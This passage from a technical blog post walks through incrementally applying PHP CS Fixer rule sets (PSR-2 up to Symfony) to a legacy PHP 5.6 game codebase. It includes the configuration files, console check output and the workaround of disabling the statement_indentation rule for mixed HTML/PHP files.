<p>We have lots of changes,
but what I'd like to focus more on is the two errors at the end.</p>

<p>To find out what specific rules are concerned,
we can replaced <code>PSR2</code> with <a href="https://cs.symfony.com/doc/ruleSets/PSR2.html">all the individual rules it includes</a>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // '@PSR2' =&gt; true,
        '@PSR1' =&gt; true,

        'blank_line_after_namespace' =&gt; true,
        'braces_position' =&gt; true,
        'class_definition' =&gt; true,
        'constant_case' =&gt; true,
        'control_structure_braces' =&gt; true,
        'control_structure_continuation_position' =&gt; true,
        'elseif' =&gt; true,
        'function_declaration' =&gt; ['closure_fn_spacing' =&gt; 'one'],
        'indentation_type' =&gt; true,
        'line_ending' =&gt; true,
        'lowercase_keywords' =&gt; true,
        'method_argument_space' =&gt; ['after_heredoc' =&gt; false, 'attribute_placement' =&gt; 'ignore', 'on_multiline' =&gt; 'ensure_fully_multiline'],
        'modifier_keywords' ['elements' =&gt; ['method', 'property']],
        'no_break_comment' =&gt; true,
        'no_closing_tag' =&gt; true,
        'no_multiple_statements_per_line' =&gt; true,
        'no_space_around_double_colon' =&gt; true,
        'no_spaces_after_function_name' =&gt; true,
        'no_trailing_whitespace' =&gt; true,
        'no_trailing_whitespace_in_comment' =&gt; true,
        'single_blank_line_at_eof' =&gt; true,
        'single_class_element_per_statement' =&gt; ['elements' =&gt; ['property']],
        'single_import_per_statement' =&gt; true,
        'single_line_after_imports' =&gt; true,
        'single_space_around_construct' =&gt; ['constructs_followed_by_a_single_space' =&gt; ['abstract', 'as', 'case', 'catch', 'class', 'do', 'else', 'elseif', 'final', 'for', 'foreach', 'function', 'if', 'interface', 'namespace', 'private', 'protected', 'public', 'static', 'switch', 'trait', 'try', 'use_lambda', 'while'], 'constructs_preceded_by_a_single_space' =&gt; ['as', 'else', 'elseif', 'use_lambda']],
        'spaces_inside_parentheses' =&gt; true,
        'statement_indentation' =&gt; true,
        'switch_case_semicolon_to_colon' =&gt; true,
        'switch_case_space' =&gt; true,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>Then we eliminate one rule, run the check,
and see if the error is still there, then eliminate the next rule, etc.</p>

<p>Doing so, I've identified the following rule as being the offender:</p>

<ul>
<li><a href="https://cs.symfony.com/doc/rules/whitespace/statement_indentation.html">statement_indentation</a></li>
</ul>

<p>Looking at <code>apps/monolith/web/phpincludes/cerveau.php</code>,
we can see a mix of HTML and PHP (the following is a condensed example):</p>

<pre><code class="php">  &lt;h1&gt;Cerveau&lt;/h1&gt;
  &lt;?php
  if ($_SESSION['logged'] == true)
  {
  $production = calculerGenAmour(0,3600,$nbE[0][0],$nbE[1][0],$nbE[1][1],$nbE[1][2]);
  ?&gt;
  Score : &lt;strong&gt;&lt;?php echo formaterNombre($score); ?&gt;&lt;/strong&gt; Point&lt;?php echo pluriel($score);?&gt;&lt;br /&gt;
  &lt;?php
        if ($donnees_info = mysql_fetch_assoc($sql_info))
        {
                $pseudoCible = $donnees_info2['pseudo'];
  ?&gt;
  Tu vas tenter d'embrasser &lt;strong&gt;&lt;?php echo $pseudoCible; ?&gt;&lt;/strong&gt;
  &lt;?php
        }
  }
  ?&gt;
</code></pre>

<p>This is <a href="https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues/3702#issuecomment-396717120">a known issue</a>,
and currently PHP CS Fixer doesn't support these kind of files,
so all we can do is restore <code>PSR2</code> and then disable that one specific rule:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@PSR2' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>Now we can fix the files running <code>make cs-fix</code>.</p>

<h2 id="level-3%3A-psr-12">Level 3: PSR-12</h2>

<p>Let's now upgrade to <a href="https://cs.symfony.com/doc/ruleSets/PSR12.html">PSR-12 ruleset</a>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@PSR12' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>PSR-12 extends PSR-2 with rules for modern PHP syntax,
specifically how to format newer language features like:</p>

<ul>
<li>type declarations</li>
<li>arrow functions</li>
<li>anonymous classes</li>
<li>trait usage</li>
</ul>

<p>As well as other PHP 7+ constructs that didn't exist when PSR-2 was written
(in 2012, when PHP 5.4 got released).</p>

<p>Let's run the checks:</p>

<pre><code class="console">&gt; make cs-check
PHP CS Fixer 3.85.1 Alexander by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/calcul.php (binary_operator_spaces)
   2) ../monolith/web/redirect.php (blank_line_after_opening_tag, binary_operator_spaces, no_whitespace_in_blank_line)
   3) ../monolith/web/checkConnect.php (binary_operator_spaces, no_whitespace_in_blank_line)
   4) ../monolith/web/phpincludes/fctIndex.php (blank_line_after_opening_tag, binary_operator_spaces, no_whitespace_in_blank_line)
   5) ../monolith/web/phpincludes/topten.php (binary_operator_spaces, no_whitespace_in_blank_line)
   6) ../monolith/web/phpincludes/pages.php (blank_line_after_opening_tag)
   7) ../monolith/web/deconnexion.php (blank_line_after_opening_tag, binary_operator_spaces)
   8) ../monolith/web/news/rediger_news.php (no_whitespace_in_blank_line)
   9) ../monolith/web/news/chemin.php (blank_line_after_opening_tag)
  10) ../monolith/web/phpincludes/evo.php (binary_operator_spaces, no_whitespace_in_blank_line)
  11) ../monolith/web/phpincludes/stats.php (binary_operator_spaces, no_whitespace_in_blank_line)
  12) ../monolith/web/phpincludes/infos.php (binary_operator_spaces)
  13) ../monolith/web/phpincludes/cerveau.php (binary_operator_spaces, no_whitespace_in_blank_line)
  14) ../monolith/web/phpincludes/yeux.php (binary_operator_spaces, no_whitespace_in_blank_line)
  15) ../monolith/web/phpincludes/inscription.php (binary_operator_spaces, no_whitespace_in_blank_line)
  16) ../monolith/web/phpincludes/faq.php (binary_operator_spaces, no_whitespace_in_blank_line)
  17) ../monolith/web/phpincludes/construction.php (binary_operator_spaces)
  18) ../monolith/web/phpincludes/recherche.php (binary_operator_spaces)
  19) ../monolith/web/makeBan.php (binary_operator_spaces, no_whitespace_in_blank_line)
  20) ../monolith/web/index.php (binary_operator_spaces, no_whitespace_in_blank_line)
  21) ../monolith/web/phpincludes/livreor.php (binary_operator_spaces, no_whitespace_in_blank_line)
  22) ../monolith/web/phpincludes/bisous.php (binary_operator_spaces, no_whitespace_in_blank_line)
  23) ../monolith/web/phpincludes/boite.php (indentation_type, binary_operator_spaces, no_whitespace_in_blank_line)
  24) ../monolith/web/phpincludes/connected.php (indentation_type, binary_operator_spaces, no_whitespace_in_blank_line)
  25) ../monolith/web/phpincludes/envoi.php (binary_operator_spaces, no_whitespace_in_blank_line)
  26) ../monolith/web/phpincludes/action.php (binary_operator_spaces, no_whitespace_in_blank_line)
  27) ../monolith/web/phpincludes/accueil.php (binary_operator_spaces, no_whitespace_in_blank_line)
  28) ../monolith/web/phpincludes/lire.php (binary_operator_spaces, no_whitespace_in_blank_line)
  29) ../monolith/web/phpincludes/membres.php (binary_operator_spaces)
  30) ../monolith/web/phpincludes/nuage.php (binary_operator_spaces, no_whitespace_in_blank_line)
  31) ../monolith/web/phpincludes/attaque.php (blank_line_after_opening_tag, binary_operator_spaces, no_whitespace_in_blank_line)
  32) ../monolith/web/phpincludes/confirmation.php (binary_operator_spaces, no_whitespace_in_blank_line)
  33) ../monolith/web/phpincludes/changepass.php (binary_operator_spaces, no_whitespace_in_blank_line)
  34) ../monolith/web/phpincludes/techno.php (binary_operator_spaces)
  35) ../monolith/web/phpincludes/newpass.php (binary_operator_spaces, no_whitespace_in_blank_line)

Found 35 of 43 files that can be fixed in 0.207 seconds, 18.00 MB memory used
</code></pre>

<p>So far so good, let's apply the changes: <code>make cs-fix</code>.</p>

<p>But we are not finished here, it's time to introduce <strong>risky</strong> rules:
these are rules that once applied can potentially change the logic and behaviour of your code.</p>

<p>For example the rule <a href="https://cs.symfony.com/doc/rules/function_notation/no_unreachable_default_argument_value.html">no_unreachable_default_argument_value</a>,
will remove default values for arguments,
that come before other arguments without default values.</p>

<p>Here's the new configuration:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@PSR12' =&gt; true,
        '@PSR12:risky' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>Running <code>make cs-check</code> will show that all is fine,
so we apply the change through <code>make cs-fix</code>,
and then we have a look at the changes made,
and test around to make sure nothing is broken.</p>

<h2 id="level-4%3A-per-cs-2.0">Level 4: PER CS 2.0</h2>

<p>Next is the <a href="https://cs.symfony.com/doc/ruleSets/PERCS2x0.html">PER CS 2.0 ruleset</a>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@PER-CS2x0' =&gt; true,
        '@PER-CS2x0:risky' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>As the PHP language evolves it gets new features,
which then requires the coding standards PSRs to be updated.</p>

<p>However the PSRs process where not suitable for updates,
so PER (PHP Evolving Recommendation) was created.</p>

<p>PER CS 1.0, released in 2022, is intentionally strictly equivalent to PSR-12.</p>

<p>In 2023, PER CS 2.0 was released, to cover PHP 8 new features, such as:</p>

<ul>
<li>Type declarations for properties</li>
<li>Constructor property promotion</li>
<li>Match expressions</li>
<li>Named arguments</li>
<li>Attributes</li>
<li>Readonly properties and classes</li>
<li>Enum declarations</li>
</ul>

<p>Because it is targeted at new PHP versions,
some of its rule won't be compatible with our version of PHP (5.6):</p>

<ul>
<li><a href="https://cs.symfony.com/doc/rules/control_structure/trailing_comma_in_multiline.html">trailing_comma_in_multiline</a></li>
</ul>

<p>In PHP 5.6, trailing commas are only supported with arrays,
so we need to change our configuration slightly:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@PER-CS2x0' =&gt; true,
        '@PER-CS2x0:risky' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,

        // [PER-CS2.0] Partially disabled due to PHP version constraints.
        'trailing_comma_in_multiline' =&gt; [
            'after_heredoc' =&gt; true,
            'elements' =&gt; [
                // 'arguments', For PHP 7.3+
                // 'array_destructuring', For PHP 7.1+
                'arrays',
                // 'match', For PHP 8.0+
                // 'parameters', For PHP 8.0+
            ],
        ],
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>If we run the checks:</p>

<pre><code class="console">&gt; make cs-check
PHP CS Fixer 3.88.2 Folding Bike by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/calcul.php (concat_space, binary_operator_spaces)
   2) ../monolith/web/redirect.php (blank_line_after_opening_tag, concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
   3) ../monolith/web/checkConnect.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
   4) ../monolith/web/phpincludes/fctIndex.php (array_syntax, array_indentation, blank_line_after_opening_tag, concat_space, trailing_comma_in_multiline, binary_operator_spaces,no_whitespace_in_blank_line)
   5) ../monolith/web/phpincludes/topten.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
   6) ../monolith/web/phpincludes/pages.php (array_syntax, blank_line_after_opening_tag, trailing_comma_in_multiline)
   7) ../monolith/web/deconnexion.php (blank_line_after_opening_tag, concat_space, binary_operator_spaces)
   8) ../monolith/web/news/rediger_news.php (no_whitespace_in_blank_line)
   9) ../monolith/web/news/chemin.php (blank_line_after_opening_tag)
  10) ../monolith/web/news/liste_news.php (concat_space)
  11) ../monolith/web/phpincludes/evo.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  12) ../monolith/web/phpincludes/stats.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  13) ../monolith/web/phpincludes/infos.php (array_syntax, concat_space, trailing_comma_in_multiline, binary_operator_spaces)
  14) ../monolith/web/phpincludes/cerveau.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  15) ../monolith/web/phpincludes/yeux.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  16) ../monolith/web/phpincludes/inscription.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  17) ../monolith/web/phpincludes/faq.php (array_syntax, concat_space, trailing_comma_in_multiline, binary_operator_spaces, no_whitespace_in_blank_line)
  18) ../monolith/web/phpincludes/construction.php (concat_space, binary_operator_spaces)
  19) ../monolith/web/phpincludes/recherche.php (concat_space, binary_operator_spaces)
  20) ../monolith/web/phpincludes/bd.php (concat_space)
  21) ../monolith/web/makeBan.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  22) ../monolith/web/index.php (array_syntax, concat_space, trailing_comma_in_multiline, binary_operator_spaces, no_whitespace_in_blank_line)
  23) ../monolith/web/phpincludes/livreor.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  24) ../monolith/web/phpincludes/bisous.php (array_syntax, concat_space, trailing_comma_in_multiline, binary_operator_spaces, no_whitespace_in_blank_line)
  25) ../monolith/web/phpincludes/boite.php (indentation_type, concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  26) ../monolith/web/phpincludes/connected.php (indentation_type, concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  27) ../monolith/web/phpincludes/envoi.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  28) ../monolith/web/phpincludes/action.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  29) ../monolith/web/phpincludes/accueil.php (array_syntax, array_indentation, binary_operator_spaces, no_whitespace_in_blank_line)
  30) ../monolith/web/phpincludes/lire.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  31) ../monolith/web/phpincludes/membres.php (concat_space, binary_operator_spaces)
  32) ../monolith/web/phpincludes/nuage.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  33) ../monolith/web/phpincludes/attaque.php (blank_line_after_opening_tag, concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  34) ../monolith/web/phpincludes/confirmation.php (array_syntax, concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  35) ../monolith/web/phpincludes/changepass.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)
  36) ../monolith/web/phpincludes/techno.php (concat_space, binary_operator_spaces)
  37) ../monolith/web/phpincludes/newpass.php (concat_space, binary_operator_spaces, no_whitespace_in_blank_line)

Found 37 of 43 files that can be fixed in 0.210 seconds, 16.00 MB memory used
</code></pre>

<p>Once again, no issues there, so we can apply the fixes: <code>make-cs fix</code>.</p>

<h2 id="level-5%3A-symfony">Level 5: Symfony</h2>

<p>Time for the final boss, the Coding Standards used in the Symfony project.</p>

<p>See <a href="https://cs.symfony.com/doc/ruleSets/Symfony.html">Symfony ruleset here</a>,
and <a href="https://cs.symfony.com/doc/ruleSets/SymfonyRisky.html">Symfony:risky ruleset there</a>.</p>

<p>Those are by no means meant to be used in Symfony projects (or any projects),
it's just what the Symfony developers use internally to build the framework.</p>

<p>But these 41 rules provide:</p>

<ul>
<li>Stricter PHPDoc requirements</li>
<li>Import (<code>use</code> statements) organisation and formatting</li>
<li>More opinionated whitespace and formatting rules</li>
<li>Type handling - Specific rules about how types are ordered and formatted</li>
</ul>

<p>The 34 risky rules also add performance optimisations
(e.g. native function invocation with leading backslash to by pass autoloading lookup).</p>

<p>So let's adopt them here:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // —— CS Rule Sets —————————————————————————————————————————————————————
        '@Symfony' =&gt; true,
        '@Symfony:risky' =&gt; true,

        // —— Overriden rules ——————————————————————————————————————————————————

        // [PSR2] Disabled as the fixes break the following files:
        // 1) ../monolith/web/phpincludes/bisous.php
        // 2) ../monolith/web/phpincludes/cerveau.php
        'statement_indentation' =&gt; false,

        // [PER-CS2.0] Partially disabled due to PHP version constraints.
        'trailing_comma_in_multiline' =&gt; [
            'after_heredoc' =&gt; true,
            'elements' =&gt; [
                // 'arguments', For PHP 7.3+
                // 'array_destructuring', For PHP 7.1+
                'arrays',
                // 'match', For PHP 8.0+
                // 'parameters', For PHP 8.0+
            ],
        ],
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>Let's run the checks:</p>

<pre><code class="console">&gt; make cs-check
PHP CS Fixer 3.88.2 Folding Bike by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/calcul.php (concat_space, no_extra_blank_lines)
   2) ../monolith/web/redirect.php (single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines)
   3) ../monolith/web/checkConnect.php (increment_style, single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines)
   4) ../monolith/web/phpincludes/fctIndex.php (single_space_around_construct, no_unneeded_control_parentheses, single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines, blank_line_before_statement)
   5) ../monolith/web/phpincludes/topten.php (single_space_around_construct, no_unneeded_control_parentheses, increment_style, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
   6) ../monolith/web/phpincludes/pages.php (single_quote, single_line_comment_spacing)
   7) ../monolith/web/deconnexion.php (single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines)
   8) ../monolith/web/news/rediger_news.php (concat_space, no_extra_blank_lines)
   9) ../monolith/web/news/chemin.php (blank_line_after_opening_tag)
  10) ../monolith/web/news/liste_news.php (single_line_comment_spacing, concat_space, yoda_style, logical_operators, no_extra_blank_lines)
  11) ../monolith/web/reductionNuages.php (single_line_comment_spacing)
  12) ../monolith/web/phpincludes/evo.php (increment_style, single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines, blank_line_before_statement)
  13) ../monolith/web/phpincludes/stats.php (single_space_around_construct, single_quote, semicolon_after_instruction, concat_space, space_after_semicolon)
  14) ../monolith/web/phpincludes/infos.php (increment_style, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon)
  15) ../monolith/web/phpincludes/cerveau.php (single_space_around_construct, no_unneeded_control_parentheses, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  16) ../monolith/web/phpincludes/yeux.php (no_unneeded_control_parentheses, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  17) ../monolith/web/phpincludes/inscription.php (single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  18) ../monolith/web/phpincludes/faq.php (single_quote, single_line_comment_spacing, concat_space, no_extra_blank_lines)
  19) ../monolith/web/phpincludes/construction.php (single_space_around_construct, no_unneeded_control_parentheses, increment_style, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  20) ../monolith/web/phpincludes/recherche.php (single_quote, concat_space, yoda_style)
  21) ../monolith/web/phpincludes/bd.php (concat_space)
  22) ../monolith/web/phpincludes/accueil.php (single_quote, whitespace_after_comma_in_array, yoda_style, space_after_semicolon, no_extra_blank_lines)
  23) ../monolith/web/phpincludes/lire.php (single_space_around_construct, single_quote, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  24) ../monolith/web/phpincludes/membres.php (modernize_types_casting, no_unneeded_control_parentheses, increment_style, single_quote, concat_space, no_singleline_whitespace_before_semicolons, yoda_style, no_extra_blank_lines, binary_operator_spaces)
  25) ../monolith/web/phpincludes/nuage.php (single_space_around_construct, increment_style, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  26) ../monolith/web/phpincludes/attaque.php (no_empty_statement, no_unneeded_control_parentheses, single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines)
  27) ../monolith/web/phpincludes/confirmation.php (no_unneeded_control_parentheses, increment_style, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  28) ../monolith/web/phpincludes/changepass.php (single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon)
  29) ../monolith/web/phpincludes/techno.php (single_space_around_construct, no_unneeded_control_parentheses, increment_style, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  30) ../monolith/web/phpincludes/newpass.php (single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  31) ../monolith/web/makeBan.php (increment_style, single_quote, single_line_comment_spacing, concat_space, space_after_semicolon)
  32) ../monolith/web/index.php (single_space_around_construct, increment_style, single_quote, no_spaces_after_function_name, single_line_comment_spacing, concat_space, include,no_singleline_whitespace_before_semicolons, yoda_style, space_after_semicolon, no_extra_blank_lines)
  33) ../monolith/web/phpincludes/livreor.php (modernize_types_casting, no_unneeded_control_parentheses, increment_style, single_quote, semicolon_after_instruction, single_line_comment_spacing, native_constant_invocation, concat_space, no_singleline_whitespace_before_semicolons, yoda_style, no_extra_blank_lines, binary_operator_spaces)
  34) ../monolith/web/phpincludes/bisous.php (single_space_around_construct, no_unneeded_control_parentheses, increment_style, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  35) ../monolith/web/phpincludes/connexion.php (yoda_style, no_extra_blank_lines)
  36) ../monolith/web/phpincludes/boite.php (indentation_type, single_space_around_construct, increment_style, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  37) ../monolith/web/phpincludes/connected.php (indentation_type, single_quote, single_line_comment_spacing, concat_space, yoda_style, no_extra_blank_lines)
  38) ../monolith/web/phpincludes/envoi.php (single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines)
  39) ../monolith/web/phpincludes/action.php (no_unneeded_braces, single_quote, single_line_comment_spacing, concat_space, yoda_style, space_after_semicolon, no_extra_blank_lines, no_whitespace_in_blank_line)

Found 39 of 43 files that can be fixed in 0.212 seconds, 16.00 MB memory used
</code></pre>

<p>All safe it'd seem, let's apply those then: <code>make cs-fix</code></p>

<h2 id="conclusion">Conclusion</h2>

<p>By progressively applying PHP CS Fixer rule sets,
we've transformed BisouLand's chaotic 2005 code into something that follows modern standards.</p>

<p>The key insight here is <strong>incrementalism</strong>,
we didn't jump straight to the strictest rule set,
but instead built up gradually:</p>

<ol>
<li>PSR-1: Basic formatting (opening tags, encoding)</li>
<li>PSR-2: Braces and indentation</li>
<li>PSR-12: Modern PHP syntax support</li>
<li>PER-CS 2.0: PHP 8 features (adjusted for PHP 5.6 compatibility)</li>
<li>Symfony: Stricter PHPDoc, imports, and performance optimisations</li>
</ol>

<p>Along the way we:</p>

<ul>
<li><strong>Identified problematic rules</strong> (<code>statement_indentation</code> breaks mixed HTML/PHP files)</li>
<li><strong>Adapted for PHP version constraints</strong> (trailing commas only for arrays in PHP 5.6)</li>
<li><strong>Applied changes incrementally</strong> (check, fix, test, repeat)</li>
</ul>

<p>The final configuration gives us automated formatting that makes the code more
readable and maintainable, without breaking functionality.</p>

<p>Now, before we move on, here's a super secret PHP CS Fixer tip:
you can run <code>php-cs-fixer describe &lt;rule/ruleset&gt;</code>,
which serves as a local documentation:</p>

<pre><code class="console">&gt; docker compose exec app php vendor/bin/php-cs-fixer describe trailing_comma_in_multiline
PHP CS Fixer 3.88.2 Folding Bike by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Description of the `trailing_comma_in_multiline` rule.

Arguments lists, array destructuring lists, arrays that are multi-line, `match`-lines and parameters lists must have a trailing comma.

Fixer is configurable using following options:
* after_heredoc (bool): whether a trailing comma should also be placed after heredoc end; defaults to false
* elements (a subset of ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']): where to fix multiline trailing comma (PHP &gt;= 8.0 for `parameters` and `match`); defaults to ['arrays']

Fixing examples:
 * Example #1. Fixing with the default configuration.
   ---------- begin diff ----------
   --- Original
   +++ New
   @@ -1,5 +1,5 @@
    &lt;?php
    array(
        1,
   -    2
   +    2,
    );

   ----------- end diff -----------

 * Example #2. Fixing with configuration: ['after_heredoc' =&gt; true].
   ---------- begin diff ----------
   --- Original
   +++ New
   @@ -1,7 +1,7 @@
    &lt;?php
        $x = [
            'foo',
            &lt;&lt;&lt;EOD
                bar
   -            EOD
   +            EOD,
        ];

   ----------- end diff -----------

 * Example #3. Fixing with configuration: ['elements' =&gt; ['arguments']].
   ---------- begin diff ----------
   --- Original
   +++ New
   @@ -1,5 +1,5 @@
